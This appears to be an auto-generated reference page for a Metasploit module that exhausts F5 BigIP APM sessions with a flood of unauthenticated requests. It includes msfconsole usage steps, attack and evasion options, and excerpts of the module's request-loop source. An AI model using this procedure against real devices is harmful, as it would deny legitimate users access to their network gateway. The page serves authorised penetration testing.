F5 BigIP Access Policy Manager Session Exhaustion Denial of Service - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/f5_bigip_apm_max_sessions metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 BigIP Access Policy Manager Session Exhaustion Denial of Service
Module: auxiliary/dos/http/f5_bigip_apm_max_sessions
Source code: modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager (APM) and exhaust all available sessions defined in customer license. In the first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP system creates a session, marks it as pending and then redirects the client to an access policy URI. Since BigIP allocates a new session after the first unauthenticated request, and deletes the session only if an access policy timeout expires, the attacker can exhaust all available sessions by repeatedly sending the initial HTTP request and leaving the sessions as pending.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/f5_bigip_apm_max_sessions
msf auxiliary(f5_bigip_apm_max_sessions) > show targets
... a list of targets ...
msf auxiliary(f5_bigip_apm_max_sessions) > set TARGET target-id
msf auxiliary(f5_bigip_apm_max_sessions) > show options
... show and set options ...
msf auxiliary(f5_bigip_apm_max_sessions) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the dos/http/f5_bigip_apm_max_sessions auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/f5_bigip_apm_max_sessions
msf6 auxiliary(dos/http/f5_bigip_apm_max_sessions) > show info
Name: F5 BigIP Access Policy Manager Session Exhaustion Denial of Service
Module: auxiliary/dos/http/f5_bigip_apm_max_sessions
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Denis Kolegov <[email protected]>
Oleg Broslavsky <[email protected]>
Nikita Oleksov <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FORCE false yes Proceed with attack even if a BigIP virtual server isn't detected
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 10000 yes The number of requests to send
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module exploits a resource exhaustion denial of service in F5
BigIP devices. An unauthenticated attacker can establish multiple
connections with BigIP Access Policy Manager (APM) and exhaust all
available sessions defined in customer license. In the first step of
the BigIP APM negotiation the client sends a HTTP request. The BigIP
system creates a session, marks it as pending and then redirects the
client to an access policy URI. Since BigIP allocates a new session
after the first unauthenticated request, and deletes the session
only if an access policy timeout expires, the attacker can exhaust
all available sessions by repeatedly sending the initial HTTP
request and leaving the sessions as pending.
References:
https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html
Module Options
This is a complete list of options available in the dos/http/f5_bigip_apm_max_sessions auxiliary module:
msf6 auxiliary(dos/http/f5_bigip_apm_max_sessions) > show options
Module options (auxiliary/dos/http/f5_bigip_apm_max_sessions):
Name Current Setting Required Description
---- --------------- -------- -----------
FORCE false yes Proceed with attack even if a BigIP virtual server isn't detected
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 10000 yes The number of requests to send
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/f5_bigip_apm_max_sessions auxiliary module:
msf6 auxiliary(dos/http/f5_bigip_apm_max_sessions) > show advanced
Module advanced options (auxiliary/dos/http/f5_bigip_apm_max_sessions):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/f5_bigip_apm_max_sessions module can do:
msf6 auxiliary(dos/http/f5_bigip_apm_max_sessions) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/f5_bigip_apm_max_sessions auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/f5_bigip_apm_max_sessions) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- No answer from the BigIP server
- BigIP virtual server was not detected. Please check options
- Location
- DoS attack failed. Try to increase the RLIMIT
- The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached
- Unable to connect to BigIP
- Unable to connect to BigIP. Please check options
- SSL/TLS connection error
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No answer from the BigIP server
Here is a relevant code snippet related to the "No answer from the BigIP server" error message:
51: force_attack = datastore['FORCE']
52:
53: res = send_request_cgi('method' => 'GET', 'uri' => '/')
54:
55: unless res
56: print_error("No answer from the BigIP server")
57: return
58: end
59:
60: # Simple test based on HTTP Server header to detect BigIP virtual server
61: server = res.headers['Server']
BigIP virtual server was not detected. Please check options
Here is a relevant code snippet related to the "BigIP virtual server was not detected. Please check options" error message:
58: end
59:
60: # Simple test based on HTTP Server header to detect BigIP virtual server
61: server = res.headers['Server']
62: unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
63: print_error("BigIP virtual server was not detected. Please check options")
64: return
65: end
66:
67: print_status("Starting DoS attack")
68:
Location
Here is a relevant code snippet related to the "Location" error message:
70: limit.times do |step|
71: if step % 100 == 0
72: print_status("#{step * 100 / limit}% accomplished...")
73: end
74: res = send_request_cgi('method' => 'GET', 'uri' => '/')
75: if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
76: print_good("DoS accomplished: The maximum number of concurrent user sessions has been reached.")
77: return
78: end
79: end
80:
DoS attack failed. Try to increase the RLIMIT
Here is a relevant code snippet related to the "DoS attack failed. Try to increase the RLIMIT" error message:
79: end
80:
81: # Check if attack has failed
82: res = send_request_cgi('method' => 'GET', 'uri' => uri)
83: if res.headers['Location'] =~ /\/my.policy/
84: print_error("DoS attack failed. Try to increase the RLIMIT")
85: else
86: print_status("Result is undefined. Try to manually determine DoS attack result")
87: end
88:
89: rescue ::Errno::ECONNRESET
The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached
Here is a relevant code snippet related to the "The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached" error message:
85: else
86: print_status("Result is undefined. Try to manually determine DoS attack result")
87: end
88:
89: rescue ::Errno::ECONNRESET
90: print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
91: rescue ::Rex::ConnectionRefused
92: print_error("Unable to connect to BigIP")
93: rescue ::Rex::ConnectionTimeout
94: print_error("Unable to connect to BigIP. Please check options")
95: rescue ::OpenSSL::SSL::SSLError
Unable to connect to BigIP
Here is a relevant code snippet related to the "Unable to connect to BigIP" error message:
87: end
88:
89: rescue ::Errno::ECONNRESET
90: print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
91: rescue ::Rex::ConnectionRefused
92: print_error("Unable to connect to BigIP")
93: rescue ::Rex::ConnectionTimeout
94: print_error("Unable to connect to BigIP. Please check options")
95: rescue ::OpenSSL::SSL::SSLError
96: print_error("SSL/TLS connection error")
97: end
Unable to connect to BigIP. Please check options
Here is a relevant code snippet related to the "Unable to connect to BigIP. Please check options" error message:
88:
89: rescue ::Errno::ECONNRESET
90: print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
91: rescue ::Rex::ConnectionRefused
92: print_error("Unable to connect to BigIP")
93: rescue ::Rex::ConnectionTimeout
94: print_error("Unable to connect to BigIP. Please check options")
95: rescue ::OpenSSL::SSL::SSLError
96: print_error("SSL/TLS connection error")
97: end
98: end
SSL/TLS connection error
Here is a relevant code snippet related to the "SSL/TLS connection error" error message:
88:
89: rescue ::Errno::ECONNRESET
90: print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
91: rescue ::Rex::ConnectionRefused
92: print_error("Unable to connect to BigIP")
93: rescue ::Rex::ConnectionTimeout
94: print_error("Unable to connect to BigIP. Please check options")
95: rescue ::OpenSSL::SSL::SSLError
96: print_error("SSL/TLS connection error")
97: end
98: end
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Related Pull Requests
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6646 Merged Pull Request: Add TLS Server Name Indication (SNI) Support, unify SSLVersion options
- #6526 Merged Pull Request: Peers for the peer god
- #4940 Merged Pull Request: Updates and new modules for F5 devices
References
- CVE: Not available
- https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/brother_debut_dos
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/hashcollision_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/metasploit_httphandler_dos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/ua_parser_js_redos
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/ws_dos
- auxiliary/admin/vmware/terminate_esx_sessions
- auxiliary/scanner/vmware/vmware_enum_sessions
Authors
- Denis Kolegov <dnkolegov[at]gmail.com>
- Oleg Broslavsky <ovbroslavsky[at]gmail.com>
- Nikita Oleksov <neoleksov[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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